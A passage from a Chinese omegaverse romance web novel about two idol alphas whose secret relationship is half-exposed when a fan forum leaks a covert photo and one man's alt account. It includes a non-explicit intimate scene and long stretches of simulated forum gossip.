他们在这里的房间都是节目组给订的,方柏嘉已经连着住了几个月了,汤昼恒才刚来,两人一个在五楼,一个在八楼。 那么多人面前没法一起行动,方柏嘉走出电梯时像模像样地回头挥手,说了些“明天见”之类的客套话,实则一等电梯门关闭,就迅速按了要上楼的按钮—— 刚才在电梯里时,汤昼恒悄悄把自己的房卡塞进了他的手中。 方柏嘉用这张卡刷了去八楼的按键。 电梯门打开,后头赫然出现汤昼恒站在原地等待的脸。 两人一前一后地走进对方的酒店房间,将手上的随身物品卸下。 才到了床边,方柏嘉就没忍住一把抱住了眼前的人。 从汤昼恒出现起到现在,方柏嘉都觉得像做梦一样。 见到对方的那一瞬间,过去一段时间里未能见面的苦恼、还没解决的问题产生的烦闷,似乎都被这阵名为汤昼恒的风吹散了。 “哥哥,”他把下巴搭在那人的颈窝,语气半真半假地幽怨道,“你再不来找我,我都以为你要始乱终弃了。” “……” 汤昼恒在床上坐下来,示意方柏嘉坐到他的腿上,把人揽怀里看了看。 不只是语气,方柏嘉的表情层次也很多彩,说话时稍微低了点头,一对动物似的眼睛却还往上看,嘴巴也轻轻地撇着,有点委屈,又有点埋怨,还有点无法无天的不爽。 如同前一秒还在和人别扭着的小狗,一察觉出主人有要找他和好的意图,意识到自己在对方心里还是很重要的,整个人立刻又得寸进尺起来。 汤昼恒挑了挑眉:“‘始乱终弃’?……这又是哪里来的说法,我为什么要‘始乱终弃’你?” 方柏嘉更用力地撇了撇嘴。心说这个应该问你才对,我怎么会知道你到底为什么就突然生气了。 他眼睛慢慢移开,看向一边说:“就是因为上次的事嘛……” 方柏嘉的心中忽然打起鼓来。 要现在说吗? 这似乎是个好时机。 趁着两人刚见面,气氛融洽,他不等汤昼恒开口就主动认错解释,显得方柏嘉很有诚意和悔过决心的同时,说不定还能减轻一些对方原本的不满—— ……可是汤昼恒来得太突然了,他根本还没做好准备啊救命! 按照方柏嘉原本的想法,他起码要等一星期后,这轮赛程结束了再去找汤昼恒求和。 可这人没有任何事前通知的到来一下就打乱了他的计划,方柏嘉猝不及防,连个最基本的腹稿都没有。 他完全是凭借着定力和对局面的判断在强迫自己说话:“我那回跟你说,我需要一些时间做心理准备……既然你来了,那,那我——” 方柏嘉语速慢得像被人按下了-2.0倍速的播放键,每个字眼里都透着犹豫的气泡。 毕竟是个人都有羞耻心,会在自己喜欢的人面前有偶像包袱,希望展现出来的全是好的一面。 如果可以,方柏嘉真不想旧事重提,在汤昼恒的面前再社死一遍。 可上次分别前的隔阂又是实打实的,过后的好几个星期,方柏嘉都感觉心里没着没落的。 自己和汤昼恒现在基本每隔一两个月才能见上几天,已经够惨的了,他才不要因为这种事生闷气吵架,浪费本来就很宝贵的时间。 ……要不然还是说了吧。 丢了面子事小没了老公事大,一个真正的alpha怎么能被这点挫折绊住脚步? 方柏嘉以一副大义凛然、舍生取义炸碉堡般的姿态开口:“哥哥,我……” “其实你不想说也可以不说。”汤昼恒忽然打断他道。 “……”方柏嘉一口气堵在嗓子眼里没提上来,“啊???” 两秒之后,青年猛地眨了眨眼:“哥哥,你不会还在生我的气吧?我都说了我不是故意想瞒你的——” 汤昼恒移开眼。 脑海里想到的,是自己刚发现方柏嘉小号时的情景。 …… 起初的半分钟里,他都是诧异而不解的,在想这有没有可能是别人盗走了对方的账号,然后又卖掉了? 他随意地向下滑动了几下,这样的念头在他看到那张两碗冷面排摆在一起的照片时戛然而止。 这绝对是方柏嘉没错。 仔细看看,说话的口吻也很像。 望着那满屏稀奇古怪的文字,有那么几个瞬间,汤昼恒甚至要以为自己回到了五年……等等。 方柏嘉在发这张照片时配字用的怎么是“老公”? 而且他怎么一会儿“老公”一会儿“哥哥”的? 仿佛吸入了提神醒脑的风油精,汤昼恒顿时来了精神。 花了快一个小时,把方柏嘉发的所有内容从头看到了尾,得到了一个惊人的事实。 方柏嘉文中所提到的“哥哥”和“老公”,似乎指的都是同一个人。 证据在于方柏嘉经常把两个词放在同一条博文里混用,看起来就像情侣撒娇调/情时经常会用的“亲爱的”和“宝贝”之间的区别一样,只不过是在不同情境下风味不一的爱称。 “哥哥”出现得可能要晚一些,大概就在最近这三四个月,和方柏嘉第一次这么喊他的前后日期差不多;“老公”则从头贯穿到尾。 汤昼恒根据发布时间,把所有方柏嘉有提到具体事件的微博都仔细回忆了一遍。 随后惊讶地发现,似乎每一件事都和他相关。 总结下来就是:哥哥=老公=我。 看得眼睛干涩的汤昼恒斜靠在房车内的座椅沙发上,用力地捏着山根。 最大的反应是不可置信。 所以,从来就没有他以为的第三个人。 如果真是这样的话,那那天他问方柏嘉“老公”是谁的时候,那人那么慌乱又是怎么回事? 等一下,方柏嘉前面好像发过有关的内容。 汤昼恒退出界面又重进,看向方柏嘉新发的几条微博。 片刻过后,整个人重新重重靠回沙发上。 换位思考一下,如果按“其实方柏嘉一直喜欢的是他,只不过碍于一些原因不好说出口”来重新分析对方当时的举动的话—— 汤昼恒的目光静静落在方柏嘉一无所知的脸上。 那他大概就知道这人在心慌什么了。 误打误撞探知到真相的汤昼恒忽然就神清气爽、灵台通明了起来,因为误会积攒起来的阴霾很快一扫而空。 然后开始思考该怎么和方柏嘉摊牌,有没有必要这会儿就和他摊牌,还是说,缓缓? 毕竟方柏嘉看起来是真的……没做好准备。 而且他忽然发现,这样小心翼翼的方柏嘉还挺可爱的。 因为自认为犯了错,所以不管是说话还是做事都不由自主地带上一点讨好的腔调,像刚打碎了花瓶把碎片藏起来,紧接着就软绵绵地把爪子搭在你手上,祈祷这样就可以让你不去发现“犯罪现场”。 明明实施“犯罪”的时候也挺果断的。 汤昼恒的心里猛然升起一点恶趣味,不希望方柏嘉的这副形态就这么轻易消失。 或许是对方的惊异表现得太明显,汤昼恒解释道:“我的意思是,那天你回去后我想了想,感觉我这么追问你,确实是给你压力了。” 汤昼恒尽量表现得诚恳:“虽然我对这件事很好奇,但也并不想让它影响到我们之间的感情。所以你想告诉我也好,不想告诉我也好,我都尊重你的心情。” 他面带微笑,却因为过于和善,反而显得不对劲。 方柏嘉嘴唇抖了抖:“……哥哥,我怎么觉得你平静得有点诡异?” 他忽然摸了摸他的额头:“你是不是被什么东西上身了?我胆子很小的,你别吓我。” “……” 汤昼恒差点被他逗乐了。 在微博上还谴责他追根究底地过问太多,真对他网开一面了,怎么方柏嘉反倒觉得他有问题? 汤昼恒没忍住,又捏了下他的脸:“我照顾你的情绪也不行?谁刚才憋得脸都红了的,是谁之前又说自己需要时间?” “就是感觉不符合你以往的性格。”方柏嘉小声嘀咕。 要不然他这么紧张干什么。 一个锱铢必较的人突然变得大度起来,是个人都会警惕吧! 汤昼恒“哦?”了一声:“我以往是什么性格?” 方柏嘉:“独裁。” “?” “专制。” “……” “喜欢管着人。” 汤昼恒扬了扬眉。 “一定要人听你的话,不听就不高兴。”方柏嘉居然还在说。 “不喜欢别人有任何一点事瞒着你,根本是皇帝人格!” 汤昼恒再次:“……” 一只比格还说起别人是皇帝来了。 “我?独裁,专制?”汤昼恒不可思议,“你摸着良心说,我什么时候逼你干过什么事,什么时候对你凶过?” “你是没有凶过我。”方柏嘉说。 “可是你一不开心脸就那么臭,谁看不出来啊。简直像在用脸说‘我不高兴了,你现在必须做些什么来跟我认错’。别人又不是傻子,看见你这样,会无动于衷吗?” 汤昼恒根本不知道他冷脸的时候压迫感有多强。 汤昼恒淡淡地说:“你可以不理我,像你之前刻意和我保持距离一样。” 方柏嘉:“…………” 这人怎么忽然翻旧账! 他一下从善如流地投进汤昼恒的怀里:“刚开始那个阶段和现在能一样吗?我不。我现在就喜欢被你管着,你不理我我就难受……所以哥哥,你以后有什么不开心的地方都直接告诉我好吗?” “……”不可否认,汤昼恒感觉自己的心在那一刻被撩动了一下。 他“呵”了一声,故意说:“我发现,你怎么突然变得这么听话,这么乖。” 汤昼恒顿了顿:“是因为觉得做了对不起我的事,所以心虚吗?” 不出意料地,他在方柏嘉的脸上又见到了那种一闪而过的、有些慌乱的神情。 ……不是说不追问吗,怎么又开始明里暗里试探上了? 明显绷紧的面部线条暴露了方柏嘉此刻的僵硬,青年轻轻眨了眨眼,本就薄的眼皮随着他张大双眼的动作越发地陷进去。 汤昼恒见状,不知怎的,忽然就有些愉悦起来。 “你紧张什么?”汤昼恒觉得好笑,抬起腿把坐在他身上的人颠了下,带了点逗弄地道,“我就问一问而已,只是想知道……你后来为什么又不叫老公了。” 他的语气意味深长。 方柏嘉也不知道是听懂还是没有听懂,眼神飘忽着,磕磕绊绊地说:“那你现在想让我叫……也可以啊。” 等了一会儿,汤昼恒没动,也没说话。只是稍稍抬起下巴那么看着他,好像在等着方柏嘉做些什么一样。 方柏嘉的心跳瞬间变快,好像接收到汤昼恒的暗示,又好像并不明确,迟疑着慢慢凑过去贴到对方耳边,小声喊了句:“老公。” 明明是早在网上大言不惭地敲打过无数次的词汇,要在清醒的状态下准确无误地当着对方的面喊出这两个字,对方柏嘉来说依旧相当考验勇气。 说完,他有些忐忑地缓缓退开,看向那个人的脸。 汤昼恒的眼帘先是落下,随后又很快地抬起来,眼睛里好像覆上一层说不清、道不明的东西。 短暂两秒的停顿。 方柏嘉忽地低下头,轻轻含住汤昼恒的嘴唇。 对方很快抬手上来,按住他的后脑勺下压,加深了这个吻。 尽管不是任何的特殊日期,但年轻力盛、血气充足的alpha凑在一起,总是很难控制住内心的渴望,更何况他们还多了一个许久没见的前提。 这么近距离地肢体接触着,方柏嘉很快来了感觉,和汤昼恒一起倒在床上,和他互相掀/起对方的衣物。 “等下床弄脏了……”他按着汤昼恒搭在一侧的小臂,指腹甚至能感觉到血管里的血液岩浆一般流动。 方柏嘉懒洋洋地和他商量:“不想再坐电梯跑来跑去了,我懒。” 汤昼恒轻轻把他抱起来摆正:“那就只在半边弄。” …… 平时不比易感期,念及明天方柏嘉还要工作,汤昼恒就做了一场,两个多小时就结束了。 完事后的他抱着方柏嘉去浴室冲洗,回来后躺在没被弄脏的半边床上。方柏嘉半蜷缩着靠在汤昼恒身边,连垂在对方腰间的手指尖都透着沉甸甸的懒。 他缓了片刻,拿起手机开始看微信。 过了几秒,戳了戳汤昼恒的胸膛说:“哎,我的学员都在群里说感谢你晚上请的大餐,人缘不错啊。” “我发现你挺会跟大家打好关系,下次我得学习。送顿吃的他们就叫你叫得比我还勤了,看来白天正式认识的时候不会冷场。” 方柏嘉手指舞动地在群里回消息,一边分心打趣。 汤昼恒稍微低了点头看他动作,随口否认:“不是为了和大家打好关系。” 方柏嘉一愣,抬起头瞧了瞧对方。 就见汤昼恒的目光也移过来,和他对视:“是为了假公济私,能有理由明面上给你送东西。” 方柏嘉:“……” “……” “!!!” 他过了数秒才察觉出对方的意思。 完了,嘴角又又压不住了。 方柏嘉抿着唇闷笑了一会儿,强行恢复到正经脸。 想了想,有点担心:“别的嘉宾都没买,你这样搞了,会不会弄得他们有点尴尬?” “应该不会吧?”汤昼恒不怎么在意,“你的学员不是说了,我‘爱屋及乌’?别人跟特邀嘉宾之间的关系,跟我和你之间的关系,有比较性吗?” 方柏嘉再度:“…………” 这个人,当时听了那几人的话绝对暗爽坏了吧。 还好他也是。 方柏嘉兀自甜蜜了一会儿,心里突然又叹口气,暗道糟糕。 明明都是抽空去对方那边看人,怎么汤昼恒就能找到正经的由头干这些。 借着节目嘉宾的身份公然出现在节目里,光明正大给方柏嘉送吃的、搞互动,完事后还能接受一帮人的吹捧和感谢,完全就是大发哥夫瘾嘛。 反观方柏嘉自己…… 方柏嘉盯着汤昼恒默默地看了好几秒,深感不同工种的局限性就是不一样。 汤昼恒过来在他这里当个飞行嘉宾倒是方便,可自己怎么办? 总不可能去找汤昼恒他们剧组要求编剧临时搞个角色把他加塞进去客串一集吧。 他又没演过戏。 ……不得不说,准备惊喜这个环节,他确实被汤昼恒压下去了。 可恶啊! * 从加入排练到正式舞台,汤昼恒一共要在这边待上七天。 方柏嘉感觉自己自综艺开拍以来就没这么开心过,每天早上一睁眼就能看到汤昼恒的存在,连白天工作都在一起—— 因为汤昼恒是方柏嘉战队的嘉宾,所以两人就算成日出双入对也没人怀疑。 到了晚上,他们又在同一个房间入睡。 一个星期转瞬过去,一眨眼的功夫,就到了正式录制的前一天。 夜里他们又进行了一次彩排,回到酒店时已经是晚上十一点多。 “好累啊……好累好累好累,赶紧把这期节目录完吧。” 从电梯出来距离房间还有几步,方柏嘉已经不想走了,很长条一个人耍赖般挂在汤昼恒的背后,像个被人拖着走的巨大玩偶,絮絮叨叨地出声抱怨。 汤昼恒单手抓着他搂在自己脖颈处的手臂,估计是觉得这个姿势不大方便,很快转过身来道:“别乱动,站好。” 话音还飘在空中,就又被方柏嘉扑上来抱住,那人把头搭在他肩上,嗓音低沉又黏糊糊地:“走不动了,你抱我进去吧。” 汤昼恒从鼻腔里笑了一下,凭着感觉从口袋里掏出房卡:“现在就不行了,那你前面那么多期怎么熬过来的?” “前面几期也累啊。”方柏嘉理直气壮地眨眼,“你人不在,我又不好意思跟别人说,只能自己想想。现在你来了——” “现在你来了,苦水就有地方往外倒了,也有人对着撒娇了。”不等他说完,汤昼恒跟在后面接上,笑着道,“我是你的情绪处理器对吧?” “错!你是我的幸运星。”方柏嘉把整个人的体重又往他身上压了些,“你一来,就有人帮我检查他们的舞台效果了,我比之前轻松不少。要是能一直这样就好了……” 方柏嘉正絮絮说着。 远处的走廊拐角忽然传来有什么东西掉到地面的沉闷声响。 两人同时回头,望向声源发出的方向。 他们迅速地对视了一眼,像才意识到走廊这样的公共区域是很危险的地方一样,汤昼恒轻声说:“进去吧。” 这会儿离房门近,汤昼恒反手刷开门锁,维持着一只手还搭在对方身上的姿势,扶着方柏嘉的腰就将他带进来,“咔哒”一声关上门。 “刚才外边那个……是什么情况?”方柏嘉有点不确定。 汤昼恒摇了摇头:“没看见人,也没听见脚步声。可能是从房间里面传出来的也不一定。” 方柏嘉疑神疑鬼了一阵,却也说不出来什么。 想到明天就是这一赛段的正式舞台录制,很快把前面的事放到一边,准备早睡。 …… 第二天上午,他们一起来就开始做造型和化妆,对完台本吃了午饭,所有人便进棚开始拍摄。 节目一期内要表演的歌曲数量太多,整场下来估计要录制快十个小时,最终结束时已差不多是深夜十二点。 一天的忙碌下来,方柏嘉身心俱疲,从头到尾都没怎么看手机。 直到导演宣布现场的拍摄结束,众人高喊着“解放”涌回了后台。 方柏嘉一条腿才踏出演播厅前台,公司安排给他的生活助理小乐就一个箭步冲了上来——旁边是才回了休息室两三分钟、看了微博热搜就又跑过来的师妹。 “师兄,你、你们……”她看了看方柏嘉,又瞧了下落在方柏嘉后边几步之遥的汤昼恒,不知道该怎么开口,“反正先看一下热搜吧。” 小乐把两人的手机奉上。 方柏嘉把东西接过来,心中感觉不妙。 回头望了眼汤昼恒,低头打开了手机。 屏幕上涌现出来的信息多到要爆炸。 一直飘在首页最上边的是来自微博的消息提醒,显示未阅读消息数:9999+。 ……而如果他没记错,他直到昨晚最后一次上线前,登录的都是他的小号。 仿佛已经提前感受到了什么,方柏嘉默默地解锁进去,点进了那个红色大眼图标的APP。 那一瞬间界面下边刷新出的红色数字竟然让方柏嘉的手机都卡了一下。 “……” 他没有去看那些红点,而是直接点进了热搜。 #汤昼恒恋爱 #汤昼恒吻痕 #方柏嘉恋爱 #方柏嘉小号 #unforbidem成员恋爱瓜 …… 数个话题位居高位,并列摆在那里,后面是一长串的“爆”。 小乐:“Danny哥老早就打电话过来了,让我一等你们下台就转告一声,赶紧给他回电话!” 第57章 第 57 章 疑似发现自担恋爱了怎么…… 外面人太多, 不方便说话,小乐在演播厅后台找了个没人用的房间,几个人都钻了进去。 方柏嘉又打开微信看了眼。 经纪人Danny哥果然给他发了不少的消息过来。 起初先是打了几个语音通话, 后来估计是从小乐这儿听说他们正在录制,又改成了发文字消息。 方柏嘉粗略扫了一通, 无非是那些话,跟小乐说得差不多。 他叹一口气, 停顿一下, 做了个心理准备, 给danny哥拨去语音通话。 等待的时间一回头, 瞧见汤昼恒也在低头看着手机, 估计对方同样给他发了不少类似的内容。 两人的目光在空气中交汇了一瞬, 汤昼恒对他做了个“要不然我来?”的口型。 方柏嘉摇了摇头。 同一时间,通话里的“嘟”声消失了。 Danny哥大概是一直在手机边上候着,没两秒就接通了电话。 上来第一句话就是:“热搜上的事, 你看到没?” 不知道是不是声音调太大了, 对方的声音骤然响起, 竟震得方柏嘉耳内的鼓膜都跟着跳了跳。 “……” 感觉到了这时也没有瞒着公司的必要,他小声地“嗯”了一下。 Danny哥又问:“那小号真是你的?” 方柏嘉又“嗯”一声。 电话那边的人很清晰可闻地发出了一个“操”。 对方沉默两秒,像在飞速思考些什么, 说:“你那小号先别动, 别删东西也别改头像签名什么的,这时候改了别人只会觉得你心虚,那就更实锤了,剩下的等我们到了细聊——汤昼恒也在你旁边吧?” 方柏嘉给出了肯定答复,danny哥没好气地说:“把手机给他。” 方柏嘉照做了。 汤昼恒接过电话,对着电子设备听筒也回了些“嗯”“是”“大概知道”之类的话, 听不出具体都和对面聊了些什么,最后放下手机,朝着方柏嘉走过来道:“他说他已经在机场了,大概三四个小时后到,让我们在酒店等着。” 方柏嘉拿回手机,刚想说些什么。 这时,节目组的工作人员过来敲了敲门。 小乐帮忙打把门打开,那人探进一个头道:“两位老师,到了该后采的时间了,不知道你们这会儿方便吗?” “方便吗”是个客气的说法,网络时代八卦消息传播得比空气还快,估计就这么一会儿的功夫里,他们俩那登上热搜的八卦就已经在摄影棚里人尽皆知了。 工作人员看向他们的目光明显带上了点人道主义关怀,估计也有一半是在担心方柏嘉和汤昼恒会不会因为这突发的传闻而罢录。 被提到的“两位老师”对视须臾。 汤昼恒伸手轻轻扶了下方柏嘉的腰身一侧,安慰他一般地轻声道:“先去后采吧。” 像他们这样咖位和热度的明星,回应都是要经过深思熟虑、和公司进行事先商讨的。 反正两人现在要做的无非也就是等danny哥来,不管怎样,先把工作做完再说。 方柏嘉点点头,同意了。 等采访结束回到住处,已经是凌晨一点多。 鉴于两人刚刚爆上热搜,为了避免不必要的麻烦,平时走路不到十分钟就能抵达的酒店,助理小乐愣是又跟节目组借了辆车,专门开到酒店地下车库,再把人送上房间。 方柏嘉也是直到这会儿,才真正好好点开热搜上的话题,看看里面的内容到底在说些什么。 说实话,当时他一看到热搜上那些字,心都直接凉了半截,还以为自己和汤昼恒就这么被人给发现了。 后面很快反应过来,意识到不是。 如果是那样的话,他和汤昼恒的名字就应该被放到一起,而不是分开来说。 在跟danny哥通话的过程中,对方表现得也相对来说还算稳定,并没有提到类似的话题。 ——那事情的严重程度其实就也还好。 方柏嘉居然在这时还冷静地安慰了一下自己。 他先后点进了自己和汤昼恒的词条翻了翻,然后又去一些粉丝活跃度很高的论坛上逛了几圈,大概通过各种渠道了解了下这整件事的过程。 …… 消息是从昨晚——或者准确说,前一天的凌晨就开始有苗头了。 事情的起因是有人在某公共论坛的大区里发了个名为【疑似发现自担恋爱了怎么调理】的主题帖。 主楼列了一些大概的特征,大火爱豆出身、目前正在拍戏,身边的助理车接车送嫂子来探班,没有具体说是谁,但指向性实在太明显,小行星们闻风而来,帖子很快就沦陷了,楼主也无论吃瓜路人怎么催促都没再出现。 中间沉寂了半个白天。 就在所有人都以为这件事已经不会有后续了的时候,下午三点多,不知道是不是私信骚扰的人太多,楼主竟然又冒出头,没有任何前提预兆地发了个十分具有爆炸性的新帖子出来。 标题是:【顶着草莓印下楼给自己和嫂子拿外卖的男豆怎么样?】 LZ:当上208w就是爽,金屋藏娇没在怕的,嫂子来直接让对方住自己家[大拇指] 小哥哥白天出去拍戏工作,晚上一下班回来就有温香软玉在怀,跟剧组请假也是因为要陪嫂子吧?浓情蜜意完不舍得嫂子走路,自己下来一个人拿外卖,这样体贴的alpha你给打几分? 还有超绝草莓印露/出,走过路过的粉丝不要错过哦。那些让我拿证据出来的人,现在怎么看? 帖子一上来就直奔主题,放了两张□□大图出来。 图片整体光线不算很亮,看得出来是用手机拍摄的,又是在晚上,像素没有那么清晰,但依然能看见主体是个身材很好的、高挑的男性,身穿一身宽松的居家服饰,最外边披了件黑色的防晒外套。 他把连帽扯上来当做简单的遮挡,从照片角度却依旧能看到他大半张的侧脸。 高挺的鼻梁,到颇具辨识度的薄唇,再到锋利挺直的下颌线条,组合在一起的形状对于见过它们的人来说都极其的熟悉。 这人手里拎了一个巨大的外卖袋,单手拿着亮了屏的手机,似乎正在等电梯。第一张照片还在目视前方,第二张照片察觉不对,已然朝着拍摄者这边看了过来。 ——显得他那张脸更明显了。 帖子一出,立刻就有好事的吃瓜群众迅速把照片和汤昼恒正常露脸的图拼在了一起。 也有眼尖的人指出,图上的人穿的家居服在汤昼恒很久以前发的某一期vlog里出现过。 底下的回复很快刷屏: 【???????】 【赶上吃瓜现场了,这就是小行星要的求锤得锤吗】 【我曹我就知道我上班时间摸鱼一定会有福报,还有吗还有吗,急得我在工位上蹿下跳抓耳挠腮地点刷新】 【妈呀这两张图一看就是老一绝对没得洗,好奇1粉这下又要怎么说?还有这么大的一个吻痕……嫂子挺狂野啊。】 【卧槽老哥这么浓眉大眼的alpha私下竟然也会偷偷恋爱?我的三观碎了】 【楼上的是在搞笑么?信这些二十几岁长得帅还一堆人追捧的alpha会不谈不如信我是秦始皇】 【说句题外话燈1就连被人随手偷拍都帅得这么人神共愤omg,有时候长得太标致太有特色也不是好事,我作为半个路人一眼看到都秒认出根本没有栽赃给别人的机会】 【这不是小行星平时爱吹的居家感男友吗……怎么真成别人的男友了[问号][问号][问号]】 【啊啊啊你快别说了】 【如果我没看错的话这是小区电梯间吧???小姐姐你神了,偷摸趴在人家楼下偷拍然后拿着都没第二个人出现的图说人tla?开局一张嘴故事全靠编是吧?】 【呃事先声明我不是1f,我也觉得就凭借这两张图说1有嫂子是不是牵强了,哪怕多点别的证据呢?】 【ls的那我问你,老哥脖子上这么大一块红色的东西要怎么解释?】 【你懂什么事恋爱咖粉丝经典话术之蚊子叮的】 【也有可能是拍戏受的伤[偷笑]】 【去火速搜完回来了,1手上这个袋子应该是xx家的外卖[图片][图片]去年来某店追墙头的时候吃过这家,当地挺有名的店,去他家外卖APP上的评论区偷了图,你们可以看一下,他们家都是套餐形式,一人份的食物放在一个巨大的餐盒里,1手上这个绝对是两人份的食物没跑,至于深更半夜和谁一起吃的宵夜,自行判断】 【顺便搜了下这个图片里的装潢,是在YY小区,去过某店的都知道,在某店拍戏的明星爱住的小区就那几个,YY是其中之一,看这样子1也住那里】 【娘嘞们吃瓜群众也太神速了】 【总感觉1f会洗老哥是和助理一起吃的饭[笑哭]】 【那1f不如直接说助理就是嫂子[小丑](开玩笑的)】 一栋楼在二十分钟内盖了几百层,楼主又幽灵般短暂出现了几分钟。 LZ回复:【我有两个人的照片啊,粉丝确定自己想看吗?】 LZ回复:【不信我的可以自己去搜一搜老一大粉发的他上上个月的剧组通勤表,是不是有两天没在上班?如果有人觉得请假不代表什么,那就继续往前翻翻他进组以来的所有请假日期,都是因为有别的外出活动,只有这两天,他没有任何事情,我话说得够清楚了】 【我的妈呀1f你们但凡还想给老一留点活路就别再激怒lz了,她是真有料】 【太好了诺亚方昼终于可以解绑了,没豆德的恋爱咖别来沾3的边[举旗]自己就是被老板夹带私货从前公司付违约金都要带过来的关系户竟然还好意思说别人是皇族,我看scxl怕不是提前就知道真皇族在谈恋爱故意安排我比和他炒cp转移视线[白眼]】 【就是说啊,上次那个综艺某人故意作弄别人还一堆歪屁股cpf说甜,给某恋爱咖洗这是逗老婆的情趣,我真的excuse me?孩子们没上过班吗?到底谁喜欢和表面一套背后一套的alpha做朋友?但凡遇到过一个这种表面笑眯眯其实背地里不知道什么时候会突然阴你一下的同事你就老实了,人家看你笑话的时候你还傻呵呵谢谢人家呢[不屑]某人翻车老三也是此身终于分明了】 【一路看下来我们小燈燈是不是要变天了……感觉你燈粉圈从此以后都是小方糖的天下了可以说吗】 【预感你区马上将迎来一场大战】 【其实现在外面就已经有一堆3粉在顶老一以前的黑帖了,谁懂我一点开隔壁一个跟内娱无关的区都能看见眼熟的3粉在装路人传播1的恋爱瓜的无助感】 …… 中午过后到傍晚前的这段时间,往往是论坛一天当中数一数二的冷清时刻。 突如其来的恋爱瓜像一枚炸弹投入平静的湖水,一石激起千层浪。 一时间隔壁几个相邻的区都纷纷开始吃瓜。 亲者痛、仇者快,粉丝慌乱,对家狂喜,其中尤其以小方糖添油加醋得最是猛烈。 就在人声鼎沸之时,有条回复悄然在一众每秒十几条的新增评论中一闪而过: 【3f还是老实点吧,也就是没爆到你家,真爆了有你哭的】 这条不同寻常的发言很快被人打捞起来,下面排起长串的耳朵和问号。 不少人引用了那层语焉不详,但又似乎饱含深意的文字,追在层主后面打探情况。 过了半个小时,层主回复: 【呃不要问我啊,我也只是从朋友那里吃了瓜,不具有解释权,具体发不发看她自己】 底下又开始:【?????】 【我和你们这些知道瓜又不说的人拼了!!!!】 【烦死了今天刷到好几个这种装神弄鬼故作玄虚的人,爱讲不讲别出来吊人胃口可以吗?】 【散了吧,感觉和每次在评论底下说秒解结果一个屁都崩不出来的是一种人,就是享受这种当nmx的感觉罢了】 【有没有可能是搅混水的1f想把脏水泼到队友身上故意这么说的[思考]】 【小行星别挣扎了好吗,你们越想给无辜队友冠上同样的名号只会更加显得你们心虚,小心孽力回馈到自己正主身上[微笑]】 紧接着又是一番轰轰烈烈的对冲。 论坛热度高居不下,几乎每分钟都有新的帖子发出。 直到晚上九点,第二个堪称核弹爆炸的帖子横空出世。 主题名称:【既然如此那就一起再来看个乐子吧】 这个帖子一出现,引发的反响和热度甚至隐隐有要超过先前汤昼恒的八卦消息的趋势。 原因无他,对方爆出了方柏嘉的小号。 【……………………不知道该说什么,楼下来】 【精彩,太精彩了,这绝对是史诗级的一天[鼓掌]一次性吃到两个大热团top的大瓜】 【没看懂主楼的说明图,好复杂,所以这个到底怎么被确认是老三的号的?】 【黑科技吧,之前不知道在哪看到说如果你大号小号登过同一个ip,你的小号是非常容易被找到的,有别的明星就这么被扒出来过根本还没发过东西的号,感觉挺锤的】 【去3小号主页逛完回来我已经不认识老公和哥哥这两个字了……好多好多透着恋爱酸臭气的粉红泡泡】 【不er这真的是不不小号吗?????其实看到说他恋爱有老哥打底我已经不怎么震惊了甚至有种果然如此的感觉,但他居然是这种黏人恋爱脑风格我是真的震to the撼……】 【。完全想象不出来老三那张拽脸写下这些文字的样子】 【所以不不是下边那个????你们别tm吓我!!!】 【这一口一个老公的很难不是吧】 【3f让你们天天狗塑老三,这下好了吧,正主真变成哥哥的小狗了】 【鹅,为什么那么多人都对3是A同还是0这么惊讶,他展现出来的气质就不像是喜欢omega的那一挂,平时完全没有alpha那种时刻想要孔雀开屏的感觉,上节目和omega嘉宾也根本不来火花,他被爆出来这种我完全不奇怪诶】 【因为3的外形就是金瓜标配吧。团内第二高+长得帅+刚出道对外展现的性格也冷冷的,加上剩下四个队友都嬷嬷多,3一直是刻板金瓜形象,队外也超多omega拉郎。其实仔细了解一下就能感觉出来他的本性是比较温和细腻的,虽然有时候会比较毒舌但也可以看做比格的突然抽风吧,和一般alpha那种攻击性还不太一样,后面13崛起感觉有一部分原因也是因为大家逐渐发现了这一点(……)】 【ls的话让我想起之前3f一直爱吹3帅而不油,外形条件是alpha顶配但又没有浓浓的alpha味,不仅心思细腻还很有豆德,上节目再漂亮的omega从面前经过也面不改色,地狱笑话了属于,都不喜欢o当然不会对o多看一眼,都是下面的那个了当然性格更细腻,某种程度来说3f也是提前窥见了一部分事实了】 【这下知道卖腐的真正受益者是谁了吧?所以3f怎么有脸说捆绑卖cp是对老一好的,就算是要转移视线也是给3转移吧?一边在外面和哥哥谈着恋爱一边在队内还和老一这样的大帅哥营业,别把老三这个A同爽死了,1才是那个时不时要担心被人sr的人吧?】 【我天1f3f你们真是武德充沛,大哥不笑二哥就别在这种时候见缝插针找场子了好吗】 【呃啊啊啊啊我不行了,什么叫风水轮流转,小方糖几个小时前还在耀武扬威地以为自己马上要成为你燈唯一大桃浦,转眼间自己也大难临头了,甚至情况比老一还复杂】 【这件事告诉我们人永远不要得意得太早[小丑]】 【还印证了长得好看的优质alpha根本不可能不谈】 …… 【妈呀谁看微博了,13就这么冲上热搜】 【……最担心的事果然还是发生了】 【甚至转眼的时间已经包揽前几了,升得这么快真的正常吗,是不是对家公司发力了[绝望]】 【早就料到了,以燈这个热度不上热搜才奇怪,那几个友商不吃燈血馒头更不可能的,到了这一步你燈就自求多福吧[升天]谁让被人抓住了把柄】 【小行星小方糖让你们平时非要打架,现在两个人都被扒出嫂子(哥夫)来了老实了吧[微笑]】 * 在回酒店的路上、在电梯里,甚至到一路沿着走廊走进房间的那一刻,方柏嘉的目光都在紧盯着手里的手机屏幕。 他在各个平台上跳来跳去地把网上的内容看完了。 心里只剩下一个想法。 完蛋了。 千躲万躲,千算万算,前几天还在庆幸终于又熬过一劫,没想到这就在毫无防备的情况下露了馅。 怎么办? 他悄悄斜眼去看身旁的人。 在车上的时候,汤昼恒似乎也看了好一会儿的手机,一等出了车库就收起来了。 他会发现吗? 毕竟那就是方柏嘉当年私信他的账号。 不管怎么样,“小号”两个字就挂在热搜上,对方见了,即便是为了评估两人目前的状况,一定也会点进去看吧。 如果他直觉准确一些,就会发现方柏嘉这个小号的语气和他不久前才提到过的“粉丝”的风格几乎一模一样。 如果他再好奇心强点,顺着预感点进和这个账号的私信界面……那么方柏嘉的一切隐私在他面前都将不复存在。 不。 应该说,对方这么做的概率就算没有百分之百,也有99%。 “方柏嘉。”汤昼恒忽然叫他的名字,“你要不要换身睡衣?” 方柏嘉回过神。 这才发现那人不知何时都已经走到卧室门口了,而自己还站在房门的入口处。 头顶的灯光自他们的上方倾泄而下,将对方优越的骨相衬托得越发突出,尤其是那一对眉骨,垂下的淡淡阴影播洒在汤昼恒的眼窝间,让人无端觉得他瞧起来很严肃。 